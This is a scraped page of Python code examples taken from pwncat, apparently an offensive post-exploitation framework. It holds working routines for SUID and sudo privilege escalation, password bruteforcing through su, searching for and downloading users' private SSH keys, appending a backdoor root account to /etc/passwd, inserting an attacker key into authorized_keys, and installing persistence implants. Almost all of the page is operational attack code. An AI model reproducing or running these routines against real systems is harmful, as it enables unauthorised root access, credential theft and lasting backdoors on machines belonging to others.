Esempio n. 1
0
    def find_suid(self):

        current_user = self.pty.whoami()

        # Only re-run the search if we haven't searched as this user yet
        if current_user in self.users_searched:
            return

        # Note that we already searched for binaries as this user
        self.users_searched.append(current_user)

        # Spawn a find command to locate the setuid binaries
        files = []
        with self.pty.subprocess("find / -perm -4000 -print 2>/dev/null",
                                 mode="r") as stream:
            util.progress("searching for setuid binaries")
            for path in stream:
                path = path.strip()
                util.progress(f"searching for setuid binaries: {path}")
                files.append(path)

        util.success("searching for setuid binaries: complete", overlay=True)

        for path in files:
            user = (self.pty.run(
                f"stat -c '%U' {shlex.quote(path)}").strip().decode("utf-8"))
            if user not in self.suid_paths:
                self.suid_paths[user] = []
            # Only add new binaries
            if path not in self.suid_paths[user]:
                self.suid_paths[user].append(path)
Esempio n. 2
0
    def show_facts(self, typ: str, provider: str, long: bool):
        """ Display known facts matching the criteria """

        data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}

        if isinstance(typ, list):
            types = typ
        else:
            types = [typ]

        util.progress("enumerating facts")
        for typ in types:
            for fact in pwncat.victim.enumerate.iter(
                    typ,
                    filter=lambda f: provider is None or f.source == provider):
                util.progress(f"enumerating facts: {fact.data}")
                if fact.type not in data:
                    data[fact.type] = {}
                if fact.source not in data[fact.type]:
                    data[fact.type][fact.source] = []
                data[fact.type][fact.source].append(fact)

        util.erase_progress()

        for typ, sources in data.items():
            for source, facts in sources.items():
                print(
                    f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
                )
                for fact in facts:
                    print(f"  {fact.data}")
                    if long and getattr(fact.data, "description",
                                        None) is not None:
                        print(textwrap.indent(fact.data.description, "    "))
Esempio n. 3
0
    def run(self, args):

        if args.action == "revert":
            if args.all:
                removed_tampers = []
                util.progress(f"reverting tamper")
                for tamper in pwncat.victim.tamper:
                    try:
                        util.progress(f"reverting tamper: {tamper}")
                        tamper.revert()
                        removed_tampers.append(tamper)
                    except RevertFailed as exc:
                        util.warn(f"{tamper}: revert failed: {exc}")
                for tamper in removed_tampers:
                    pwncat.victim.tamper.remove(tamper)
                util.success("tampers reverted!")
                pwncat.victim.session.commit()
            else:
                if args.tamper not in range(len(pwncat.victim.tamper)):
                    self.parser.error("invalid tamper id")
                tamper = pwncat.victim.tamper[args.tamper]
                try:
                    tamper.revert()
                    pwncat.victim.tamper.remove(tamper)
                except RevertFailed as exc:
                    util.error(f"revert failed: {exc}")
                pwncat.victim.session.commit()
        else:
            for id, tamper in enumerate(pwncat.victim.tamper):
                print(f" {id} - {tamper}")
Esempio n. 4
0
    def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        # Update the cache for the current user
        # self.find_suid()

        known_techniques = []
        try:
            for suid in pwncat.victim.enumerate.iter("suid"):

                # Print status message
                util.progress((
                    f"enumerating suid binaries: "
                    f"{Fore.CYAN}{os.path.basename(suid.data.path)}{Fore.RESET}"
                ))

                try:
                    binary = pwncat.victim.gtfo.find_binary(
                        suid.data.path, caps)
                except BinaryNotFound:
                    continue

                for method in binary.iter_methods(suid.data.path, caps,
                                                  Stream.ANY):
                    known_techniques.append(
                        Technique(
                            suid.data.owner.name,
                            self,
                            method,
                            method.cap,
                        ))
        finally:
            util.erase_progress()

        return known_techniques
Esempio n. 5
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        for fact in pwncat.victim.enumerate.iter("system.service"):
            if "ssh" in fact.data.name and fact.data.state == "running":
                break
        else:
            raise PrivescError("no sshd service running")

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
            util.progress(f"enumerating private key facts: {str(fact.data)}")
            if not fact.data.encrypted:
                techniques.append(
                    Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
                )

        return techniques
Esempio n. 6
0
    def run(self, args):

        if args.action == "status":
            ninstalled = 0
            for user, method in pwncat.victim.persist.installed:
                print(f" - {method.format(user)} installed")
                ninstalled += 1
            if not ninstalled:
                util.warn(
                    "no persistence methods observed as "
                    f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}"
                )
            return
        elif args.action == "list":
            if args.method:
                try:
                    method = next(pwncat.victim.persist.find(args.method))
                    print(f"\033[4m{method.format()}{Style.RESET_ALL}")
                    print(textwrap.indent(textwrap.dedent(method.__doc__), "  "))
                except StopIteration:
                    util.error(f"{args.method}: no such persistence method")
            else:
                for method in pwncat.victim.persist:
                    print(f" - {method.format()}")
            return
        elif args.action == "clean":
            util.progress("cleaning persistence methods: ")
            for user, method in pwncat.victim.persist.installed:
                try:
                    util.progress(
                        f"cleaning persistance methods: {method.format(user)}"
                    )
                    pwncat.victim.persist.remove(method.name, user)
                    util.success(f"removed {method.format(user)}")
                except PersistenceError as exc:
                    util.erase_progress()
                    util.warn(
                        f"{method.format(user)}: removal failed: {exc}\n", overlay=True
                    )
            util.erase_progress()
            return
        elif args.method is None:
            self.parser.error("no method specified")
            return

        # Grab the user we want to install the persistence as
        if args.user:
            user = args.user
        else:
            # Default is to install as current user
            user = pwncat.victim.whoami()

        try:
            if args.action == "install":
                pwncat.victim.persist.install(args.method, user)
            elif args.action == "remove":
                pwncat.victim.persist.remove(args.method, user)
        except PersistenceError as exc:
            util.error(f"{exc}")
Esempio n. 7
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        seen_password = []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
            util.progress(f"enumerating password facts: {str(fact.data)}")
            if fact.data.value is None:
                continue

            if fact.data.value in seen_password:
                continue

            if len(fact.data.value) < 6:
                continue

            if len(fact.data.value.split(" ")) > 3:
                continue

            for _, user in pwncat.victim.users.items():
                # This password was already tried for this user and failed
                if user.name in fact.data.invalid:
                    continue
                # We already know the password for this user
                if user.password is not None:
                    continue
                if (
                    user.id == 0 and user.name != pwncat.victim.config["backdoor_user"]
                ) or user.id >= 1000:
                    techniques.append(
                        Technique(user.name, self, fact, Capability.SHELL)
                    )

            seen_password.append(fact.data.value)

        util.erase_progress()

        return techniques
Esempio n. 8
0
 def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]:
     me = pwncat.victim.current_user
     for method in pwncat.victim.persist:
         if method.system and method.installed():
             yield (method.name, None, method)
         elif not method.system:
             if me.id == 0:
                 for user in pwncat.victim.users:
                     util.progress(f"checking {method.name} for: {user}")
                     if method.installed(user):
                         util.erase_progress()
                         yield (method.name, user, method)
                     util.erase_progress()
             else:
                 if method.installed(me.name):
                     yield (method.name, me.name, method)
Esempio n. 9
0
    def run(self, args):

        for name in args.user:
            args.dictionary.seek(0)
            for line in args.dictionary:
                line = line.strip()
                util.progress(f"bruteforcing {name}: {line}")

                try:
                    # Attempt the password
                    pwncat.victim.su(name, line, check=True)
                    pwncat.victim.users[name].password = line
                    util.success(f"user {name} has password {repr(line)}!")
                    break
                except PermissionError:
                    continue

        util.success("bruteforcing completed")
Esempio n. 10
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """ Find all techniques known at this time """

        rules = []
        for fact in pwncat.victim.enumerate("sudo"):
            util.progress(f"enumerating sudo rules: {fact.data}")

            # Doesn't appear to be a user specification
            if not fact.data.matched:
                continue

            # This specifies a user that is not us
            if (fact.data.user != "ALL"
                    and fact.data.user != pwncat.victim.current_user.name
                    and fact.data.group is None):
                continue

            # Check if we are part of the specified group
            if fact.data.group is not None:
                for group in pwncat.victim.current_user.groups:
                    if fact.data.group == group.name:
                        break
                else:
                    # Non of our secondary groups match, was our primary group specified?
                    if fact.data.group != pwncat.victim.current_user.group.name:
                        continue

            # The rule appears to match, add it to the list
            rules.append(fact.data)

        # We don't need that progress after this is complete
        util.erase_progress()

        techniques = []
        for rule in rules:
            for method in pwncat.victim.gtfo.iter_sudo(rule.command,
                                                       caps=capability):
                user = "******" if rule.runas_user == "ALL" else rule.runas_user
                techniques.append(
                    Technique(user, self, (method, rule), method.cap))

        return techniques
Esempio n. 11
0
    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
        """
        Enumerate capabilities for this method.

        :param capability: the requested capabilities
        :return: a list of techniques implemented by this method
        """

        # We only provide shell capability
        if Capability.SHELL not in capability:
            return []

        techniques = []
        for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
            util.progress(f"enumerating password facts: {str(fact.data)}")
            techniques.append(
                Technique(fact.data.user.name, self, fact.data,
                          Capability.SHELL))
        util.erase_progress()

        return techniques
Esempio n. 12
0
def enumerate() -> Generator[PrivateKeyFact, None, None]:

    data = []

    util.progress("enumerating private keys")

    # Search for private keys in common locations
    with pwncat.victim.subprocess(
        "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
    ) as pipe:
        for line in pipe:
            line = line.strip().decode("utf-8").split(" ")
            uid, path = int(line[0]), " ".join(line[1:])
            util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
            data.append(PrivateKeyFact(uid, path, None))

    for fact in data:
        try:
            util.progress(
                f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
            )
            with pwncat.victim.open(fact.path, "r") as filp:
                fact.content = filp.read().strip().replace("\r\n", "\n")
            yield fact
        except (PermissionError, FileNotFoundError):
            continue
Esempio n. 13
0
    def load_package(self, path: list):

        util.progress("loading privesc methods")
        for loader, module_name, is_pkg in pkgutil.walk_packages(path):
            method_module = loader.find_module(module_name).load_module(
                module_name)

            if is_pkg:
                continue

            if getattr(method_module, "Method", None) is None:
                # This isn't a privesc method. It shouldn't be in this directory
                continue

            try:
                util.progress(
                    f"loading privesc methods: {method_module.Method.name}")
                method_module.Method.check()
                self.methods.append(method_module.Method())
            except PrivescError:
                pass

        util.erase_progress()
Esempio n. 14
0
    def find_suid(self):

        current_user: "******" = pwncat.victim.current_user

        # We've already searched for SUID binaries as this user
        if len(current_user.suid):
            return

        # Spawn a find command to locate the setuid binaries
        files = []
        with pwncat.victim.subprocess(
            "find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True
        ) as stream:
            util.progress("searching for setuid binaries")
            for path in stream:
                path = path.strip().decode("utf-8")
                util.progress(
                    (
                        f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
                        f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
                    )
                )
                files.append(path)

        util.success("searching for setuid binaries: complete", overlay=True)

        with pwncat.victim.subprocess(
            f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True
        ) as stream:
            for file, user in zip(files, stream):
                user = user.strip().decode("utf-8")
                binary = pwncat.db.SUID(path=file,)
                pwncat.victim.host.suid.append(binary)
                pwncat.victim.users[user].owned_suid.append(binary)
                current_user.suid.append(binary)

        pwncat.victim.session.commit()
Esempio n. 15
0
def enumerate() -> Generator[PrivateKeyFact, None, None]:

    data = []

    util.progress("enumerating private keys")

    # Search for private keys in common locations
    with pwncat.victim.subprocess(
            "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
    ) as pipe:
        for line in pipe:
            line = line.strip().decode("utf-8").split(" ")
            uid, path = int(line[0]), " ".join(line[1:])
            util.progress(
                f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
            data.append(PrivateKeyFact(uid, path, None, False))

    for fact in data:
        try:
            util.progress(
                f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
            )
            with pwncat.victim.open(fact.path, "r") as filp:
                fact.content = filp.read().strip().replace("\r\n", "\n")

            try:
                # Try to import the key to test if it's valid and if there's
                # a passphrase on the key. An "incorrect checksum" ValueError
                # is raised if there's a key. Not sure what other errors may
                # be raised, to be honest...
                RSA.importKey(fact.content)
            except ValueError as exc:
                if "incorrect checksum" in str(exc).lower():
                    # There's a passphrase on this key
                    fact.encrypted = True
                else:
                    # Some other error happened, probably not a key
                    continue
            yield fact
        except (PermissionError, FileNotFoundError):
            continue
Esempio n. 16
0
    def escalate_single(self, technique: Technique) -> str:

        util.progress(f"attempting escalation to {technique}")

        shlvl = self.pty.getenv("SHLVL")

        if (technique.capabilities & Capability.SHELL) > 0:
            try:
                # Attempt our basic, known technique
                exit_script = technique.method.execute(technique)
                self.pty.flush_output()

                # Reset the terminal to ensure we are stable
                self.pty.reset()

                # Check that we actually succeeded
                current = self.pty.whoami()

                if current == technique.user or (technique.user
                                                 == self.backdoor_user_name
                                                 and current == "root"):
                    return exit_script

                # Check if we ended up in a sub-shell without escalating
                if self.pty.getenv("SHLVL") != shlvl:
                    # Get out of this subshell. We don't need it
                    self.pty.process(exit_script, delim=False)

                    # Clean up whatever mess was left over
                    self.pty.flush_output()

                    self.pty.reset()

                # The privesc didn't work, but didn't throw an exception.
                # Continue on as if it hadn't worked.
            except PrivescError:
                pass

        # We can't privilege escalate directly to a shell with this technique,
        # but we may be able to add a user via file write.
        if (technique.capabilities
                & Capability.WRITE) == 0 or technique.user != "root":
            raise PrivescError("privesc failed")

        # We need su to privesc w/ file write
        su_command = self.pty.which("su", quote=True)
        if su_command is None:
            raise PrivescError("privesc failed")

        # Read the current content of /etc/passwd
        reader = gtfobins.Binary.find_capability(self.pty.which,
                                                 Capability.READ)
        if reader is None:
            raise PrivescError("no file reader found")

        payload = reader.read_file("/etc/passwd")

        # Read the file
        passwd = self.pty.subprocess(reader.read_file("/etc/passwd"))
        data = passwd.read()
        passwd.close()

        # Split up the file by lines
        data = data.decode("utf-8").strip()
        data = data.split("\n")

        # Add a new user
        password = crypt.crypt(self.backdoor_password)
        user = self.backdoor_user_name
        data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")

        # Join the data back and encode it
        data = ("\n".join(data) + "\n").encode("utf-8")

        # Write the data
        technique.method.write_file("/etc/passwd", data, technique)

        # Maybe help?
        self.pty.run("echo")

        # Check that it succeeded
        users = self.pty.reload_users()

        # Check if the new passwd file contained the file
        if user not in users:
            raise PrivescError("privesc failed")

        self.pty.users[user]["password"] = password
        self.backdoor_user = self.pty.users[user]

        # Switch to the new user
        # self.pty.process(f"su {user}", delim=False)
        self.pty.process(f"su {user}", delim=True)
        self.pty.flush_output()

        self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
        self.pty.run("echo")

        return "exit"
Esempio n. 17
0
    def generate_report(self, report_path: str):
        """ Generate a markdown report of enumeration data for the remote host. This
        report is generated from all facts which pwncat is capable of enumerating.
        It does not need nor honor the type or provider options. """

        # Dictionary mapping type names to facts. Each type name is mapped
        # to a dictionary which maps sources to a list of facts. This makes
        # organizing the output report easier.
        report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}
        system_details = []

        try:
            # Grab hostname
            hostname = pwncat.victim.enumerate.first("system.hostname").data
            system_details.append(["Hostname", hostname])
        except ValueError:
            hostname = "[unknown-hostname]"

        # Not provided by enumerate, but natively known due to our connection
        system_details.append(["Primary Address", pwncat.victim.host.ip])
        system_details.append(["Derived Hash", pwncat.victim.host.hash])

        try:
            # Grab distribution
            distro = pwncat.victim.enumerate.first("system.distro").data
            system_details.append([
                "Distribution",
                f"{distro.name} ({distro.ident}) {distro.version}"
            ])
        except ValueError:
            pass

        try:
            # Grab the architecture
            arch = pwncat.victim.enumerate.first("system.arch").data
            system_details.append(["Architecture", arch.arch])
        except ValueError:
            pass

        try:
            # Grab kernel version
            kernel = pwncat.victim.enumerate.first(
                "system.kernel.version").data
            system_details.append([
                "Kernel",
                f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}",
            ])
        except ValueError:
            pass

        try:
            # Grab init system
            init = pwncat.victim.enumerate.first("system.init").data
            system_details.append(["Init", init.init])
        except ValueError:
            pass

        # Build the table writer for the main section
        table_writer = MarkdownTableWriter()
        table_writer.headers = ["Property", "Value"]
        table_writer.column_styles = [
            pytablewriter.style.Style(align="right"),
            pytablewriter.style.Style(align="center"),
        ]
        table_writer.value_matrix = system_details
        table_writer.margin = 1

        # Note enumeration data we don't need anymore. These are handled above
        # in the system_details table which is output with the table_writer.
        ignore_types = [
            "system.hostname",
            "system.kernel.version",
            "system.distro",
            "system.init",
            "system.arch",
        ]

        # This is the list of known enumeration types that we want to
        # happen first in this order. Other types will still be output
        # but will be output in an arbitrary order following this list
        ordered_types = [
            # Possible kernel exploits - very important
            "system.kernel.exploit",
            # Enumerated user passwords - very important
            "system.user.password",
            # Enumerated possible user private keys - very important
            "system.user.private_key",
            # Directories in our path that are writable
            "writable_path",
        ]

        # These types are very noisy. They are important for full enumeration,
        # but are better suited for the end of the list. These are output last
        # no matter what in this order.
        noisy_types = [
            # System services. There's normally a lot of these
            "system.service",
            # Installed packages. There's *always* a lot of these
            "system.package",
        ]

        util.progress("enumerating report_data")
        for fact in pwncat.victim.enumerate.iter():
            util.progress(f"enumerating report_data: {fact.data}")
            if fact.type in ignore_types:
                continue
            if fact.type not in report_data:
                report_data[fact.type] = {}
            if fact.source not in report_data[fact.type]:
                report_data[fact.type][fact.source] = []
            report_data[fact.type][fact.source].append(fact)

        util.erase_progress()

        try:
            with open(report_path, "w") as filp:
                filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")

                # Write the system info table
                table_writer.dump(filp, close_after_write=False)
                filp.write("\n")

                # output ordered types first
                for typ in ordered_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

                # output everything that's not a ordered or noisy type
                for typ, sources in report_data.items():
                    if typ in ordered_types or typ in noisy_types:
                        continue
                    self.render_section(filp, typ, sources)

                # Output the noisy types
                for typ in noisy_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

            util.success(f"enumeration report written to {report_path}")
        except OSError:
            self.parser.error(f"{report_path}: failed to open output file")
Esempio n. 18
0
    def escalate(
        self,
        target_user: str = None,
        depth: int = None,
        chain: List["Technique"] = None,
        starting_user=None,
    ) -> List[Tuple["Technique", str]]:
        """ Search for a technique chain which will gain access as the given 
        user. """

        if chain is None:
            chain = []

        if target_user is None:
            target_user = "******"

        current_user = pwncat.victim.current_user
        if (target_user == current_user.name or current_user.id == 0
                or current_user.name == "root"):
            raise PrivescError(f"you are already {current_user.name}")

        if starting_user is None:
            starting_user = current_user

        if depth is not None and len(chain) > depth:
            raise PrivescError("max depth reached")

        # Capture current shell level
        shlvl = pwncat.victim.getenv("SHLVL")

        # Check if we have a persistence method for this user
        util.progress(f"checking local persistence implants")
        for user, persist in pwncat.victim.persist.installed:
            if not persist.local or (user != target_user and user is not None):
                continue
            util.progress(
                f"checking local persistence implants: {persist.format(target_user)}"
            )
            # Attempt to escalate with the local persistence method
            if persist.escalate(target_user):

                # Stabilize the terminal
                pwncat.victim.reset(hard=False)

                # The method thought it worked, but didn't appear to
                if pwncat.victim.update_user() != target_user:
                    if pwncat.victim.getenv("SHLVL") != shlvl:
                        pwncat.victim.run("exit", wait=False)
                    continue

                # It worked!
                chain.append(
                    (f"persistence - {persist.format(target_user)}", "exit"))
                return chain

        # Enumerate escalation options for this user
        techniques = {}
        for method in self.methods:
            try:
                util.progress(f"evaluating {method} method")
                found_techniques = method.enumerate(Capability.SHELL
                                                    | Capability.WRITE
                                                    | Capability.READ)
                for tech in found_techniques:
                    if tech.user not in techniques:
                        techniques[tech.user] = []
                    techniques[tech.user].append(tech)
            except PrivescError:
                pass

        # Try to escalate directly to the target if possible
        if target_user in techniques:
            try:
                tech, exit_command = self.escalate_single(
                    techniques[target_user], shlvl)
                pwncat.victim.reset(hard=False)
                pwncat.victim.update_user()
                chain.append((tech, exit_command))
                return chain
            except PrivescError:
                pass

        # Try to use persistence as other users
        util.progress(f"checking local persistence implants")
        for user, persist in pwncat.victim.persist.installed:
            if self.in_chain(user, chain):
                continue
            util.progress(
                f"checking local persistence implants: {persist.format(user)}")
            if persist.escalate(user):

                # Ensure history and prompt are correct
                pwncat.victim.reset()

                # Update the current user
                if pwncat.victim.update_user() != user:
                    if pwncat.victim.getenv("SHLVL") != shlvl:
                        pwncat.victim.run("exit", wait=False)
                    continue

                chain.append((f"persistence - {persist.format(user)}", "exit"))

                try:
                    return self.escalate(target_user, depth, chain,
                                         starting_user)
                except PrivescError:
                    chain.pop()
                    pwncat.victim.run("exit", wait=False)

                # Don't retry later
                if user in techniques:
                    del techniques[user]

        # We can't escalate directly to the target. Instead, try recursively
        # against other users.
        for user, techs in techniques.items():
            if user == target_user:
                continue
            if self.in_chain(user, chain):
                continue
            try:
                tech, exit_command = self.escalate_single(techs, shlvl)
                chain.append((tech, exit_command))
                pwncat.victim.reset(hard=False)
                pwncat.victim.update_user()
            except PrivescError:
                continue
            try:
                return self.escalate(target_user, depth, chain, starting_user)
            except PrivescError:
                tech, exit_command = chain[-1]
                pwncat.victim.run(exit_command, wait=False)
                chain.pop()

        raise PrivescError(f"no route to {target_user} found")
Esempio n. 19
0
    def escalate_single(self, techniques: List["Technique"],
                        shlvl: str) -> Tuple[Optional["Technique"], str]:
        """ Use the given list of techniques to escalate to the user. All techniques
        should be for the same user. This method will attempt a variety of privesc
        methods. Primarily, it will directly execute any techniques which provide
        the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd
        if the target user is root. Lastly, it will try to escalate using a local
        SSH server combined with READ/WRITE capabilities to gain a local shell.

        This is, by far, the most disgusting function in all of `pwncat`. I'd like
        to clean it up, but I'm not sure how to break this up. It's all one continuous
        line of logic. It's meant to implement all possible privilege escalation methods
        for one user given a list of techniques for that user. The largest chunk of this
        is the SSH part, which needs to check that SSH exists, then try various methods
        to either leak or write private keys for the given user.
        """

        readers: List[Technique] = []
        writers: List[Technique] = []

        for technique in techniques:
            if Capability.SHELL in technique.capabilities:
                try:
                    util.progress(f"attempting {technique}")

                    # Attempt our basic, known technique
                    exit_script = technique.method.execute(technique)
                    pwncat.victim.flush_output(some=True)

                    # Reset the terminal to ensure we are stable
                    time.sleep(
                        0.1)  # This seems inevitable for some privescs...
                    pwncat.victim.reset(hard=False)

                    # Check that we actually succeeded
                    current = pwncat.victim.update_user()

                    if current == technique.user or (
                            technique.user
                            == pwncat.victim.config["backdoor_user"]
                            and current == "root"):
                        util.progress(f"{technique} succeeded!")
                        pwncat.victim.flush_output()
                        return technique, exit_script

                    # Check if we ended up in a sub-shell without escalating
                    if pwncat.victim.getenv("SHLVL") != shlvl:

                        # Get out of this subshell. We don't need it
                        # pwncat.victim.process(exit_script, delim=False)

                        pwncat.victim.run(exit_script, wait=False)
                        time.sleep(
                            0.1)  # Still inevitable for some privescs...
                        pwncat.victim.recvuntil("\n")

                        # Clean up whatever mess was left over
                        pwncat.victim.flush_output()

                        pwncat.victim.reset(hard=False)

                        shlvl = pwncat.victim.getenv("SHLVL")

                    # The privesc didn't work, but didn't throw an exception.
                    # Continue on as if it hadn't worked.
                except PrivescError:
                    pass
                except ValueError:
                    raise PrivescError
            if Capability.READ in technique.capabilities:
                readers.append(technique)
            if Capability.WRITE in technique.capabilities:
                writers.append(technique)

        if writers and writers[0].user == "root":

            # We need su to privesc w/ file write
            su_command = pwncat.victim.which("su", quote=True)
            if su_command is not None:

                # Grab the first writer
                writer = writers[0]

                # Read /etc/passwd
                with pwncat.victim.open("/etc/passwd", "r") as filp:
                    lines = filp.readlines()

                # Add a new user
                password = crypt.crypt(pwncat.victim.config["backdoor_pass"])
                user = pwncat.victim.config["backdoor_user"]
                lines.append(
                    f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n")

                # Join the data back and encode it
                data = ("".join(lines)).encode("utf-8")

                # Write the data
                writer.method.write_file("/etc/passwd", data, writer)

                # Maybe help?
                pwncat.victim.run("echo")

                # Check that it succeeded
                users = pwncat.victim.reload_users()

                # Check if the new passwd file contained the file
                if user in users:
                    # Log our tamper of this file
                    pwncat.victim.tamper.modified_file("/etc/passwd",
                                                       added_lines=lines[-1:])

                    pwncat.victim.users[user].password = pwncat.victim.config[
                        "backdoor_pass"]
                    self.backdoor_user = pwncat.victim.users[user]

                    # Switch to the new user
                    # pwncat.victim.process(f"su {user}", delim=False)
                    pwncat.victim.process(f"su {user}", delim=True)
                    pwncat.victim.recvuntil(": ")

                    pwncat.victim.client.send(
                        pwncat.victim.config["backdoor_pass"].encode("utf-8") +
                        b"\n")

                    pwncat.victim.flush_output()

                    return writer, "exit"

        sshd_running = False
        for fact in pwncat.victim.enumerate.iter("system.service"):
            util.progress("enumerating services: {fact.data}")
            if "sshd" in fact.data.name and fact.data.state == "running":
                sshd_running = True

        if sshd_running:
            sshd_listening = True
            sshd_address = "127.0.0.1"
        else:
            sshd_listening = False
            sshd_address = None

        used_technique = None

        if sshd_running and sshd_listening:
            # We have an SSHD and we have a file read and a file write
            # technique. We can attempt to leverage this to use SSH to ourselves
            # and gain access as this user.
            util.progress(f"found {Fore.RED}sshd{Fore.RESET} listening at "
                          f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}")

            authkeys_path = ".ssh/authorized_keys"

            try:
                with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp:
                    for line in filp:
                        if line.startswith("AuthorizedKeysFile"):
                            authkeys_path = line.strip().split()[-1]
            except PermissionError:
                # We couldn't read the file. Assume they are located in the default home directory location
                authkeys_path = ".ssh/authorized_keys"

            # AuthorizedKeysFile is normally relative to the home directory
            if not authkeys_path.startswith("/"):
                # Grab the user information from /etc/passwd
                home = pwncat.victim.users[techniques[0].user].homedir

                if home == "" or home is None:
                    raise PrivescError(
                        "no user home directory, can't add ssh keys")

                authkeys_path = os.path.join(home, authkeys_path)

            util.progress(
                f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}"
            )

            authkeys = []
            privkey_path = None
            privkey = None
            if readers:
                reader = readers[0]
                with reader.method.read_file(authkeys_path, reader) as filp:
                    authkeys = [line.strip().decode("utf-8") for line in filp]

                # Some payloads will return the stderr of the file reader. Check
                # that the authorized_keys even existed
                if len(authkeys) == 1 and "no such file" in authkeys[0].lower(
                ):
                    authkeys = []

                # We need to read each of the users keys in the ".ssh" directory
                # to see if they contain a public key that is already allowed on
                # this machine. If so, we can read the private key and
                # authenticate without a password and without clobbering their
                # keys.
                ssh_key_glob = os.path.join(
                    pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub")
                # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8")
                keys = ["id_rsa.pub"]
                keys = [
                    os.path.join(pwncat.victim.users[reader.user].homedir,
                                 ".ssh", key) for key in keys
                ]

                # Iterate over each public key found in the home directory
                for pubkey_path in keys:
                    if pubkey_path == "":
                        continue
                    util.progress(
                        f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} "
                        "is an authorized key")
                    # Read the public key
                    with reader.method.read_file(pubkey_path, reader) as filp:
                        pubkey = filp.read().strip().decode("utf-8")
                    # Check if it matches
                    if pubkey in authkeys:
                        util.progress(
                            f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} "
                            f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys"
                        )
                        # remove the ".pub" to find the private key
                        privkey_path = pubkey_path.replace(".pub", "")
                        # Make sure the private key exists
                        if (b"no such file" in pwncat.victim.run(
                                f"file {privkey_path}").lower()):
                            util.progress(
                                f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} "
                                f"has no private key")
                            continue

                        util.progress(
                            f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}"
                        )
                        with reader.method.read_file(privkey_path,
                                                     reader) as filp:
                            privkey = filp.read().strip().decode("utf-8")

                        # The terminal adds \r most of the time. This is a text
                        # file so this is safe.
                        privkey = privkey.replace("\r\n", "\n")

                        # Ensure we remember that we found this user's private key!
                        pwncat.victim.enumerate.add_fact(
                            "private_key",
                            PrivateKeyFact(
                                pwncat.victim.users[reader.user].id,
                                privkey_path,
                                privkey,
                            ),
                            "pwncat.privesc.Finder",
                        )

                        used_technique = reader

                        break
                else:
                    privkey_path = None
                    privkey = None
            elif writers:
                util.warn(
                    "no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}"
                )
                util.warn(f"however, we do have a writer.")
                response = confirm(
                    "would you like to clobber their authorized keys? ",
                    suffix="(y/N) ")
                if not response:
                    raise PrivescError("user aborted key clobbering")

            # If we don't already know a private key, then we need a writer
            if privkey_path is None and not writers:
                raise PrivescError("no writers available to add private keys")

            # Everything looks good so far. We are adding a new private key. so we
            # need to read in the private key and public key, then add the public
            # key to the user's authorized_keys. The next step will upload the
            # private key in any case.
            if privkey_path is None:

                writer = writers[0]

                # Write our private key to a random location
                with open(pwncat.victim.config["privkey"], "r") as src:
                    privkey = src.read()

                with open(pwncat.victim.config["privkey"] + ".pub",
                          "r") as src:
                    pubkey = src.read().strip()

                # Add our public key to the authkeys
                authkeys.append(pubkey)

                # Write the file
                writer.method.write_file(authkeys_path, ("\n".join(authkeys) +
                                                         "\n").encode("utf-8"),
                                         writer)

                if len(readers) == 0:
                    # We couldn't read their authkeys, but log that we clobbered it.
                    # The user asked us to. At least create an un-removable tamper
                    # noting that we clobbered this file.
                    pwncat.victim.tamper.modified_file(authkeys_path)

                # We now have a persistence method for this user no matter where
                # we are coming from. We need to track this.
                pwncat.victim.persist.register("authorized_keys", writer.user)

                used_technique = writer

            # SSH private keys are annoying and **NEED** a newline
            privkey = privkey.strip() + "\n"

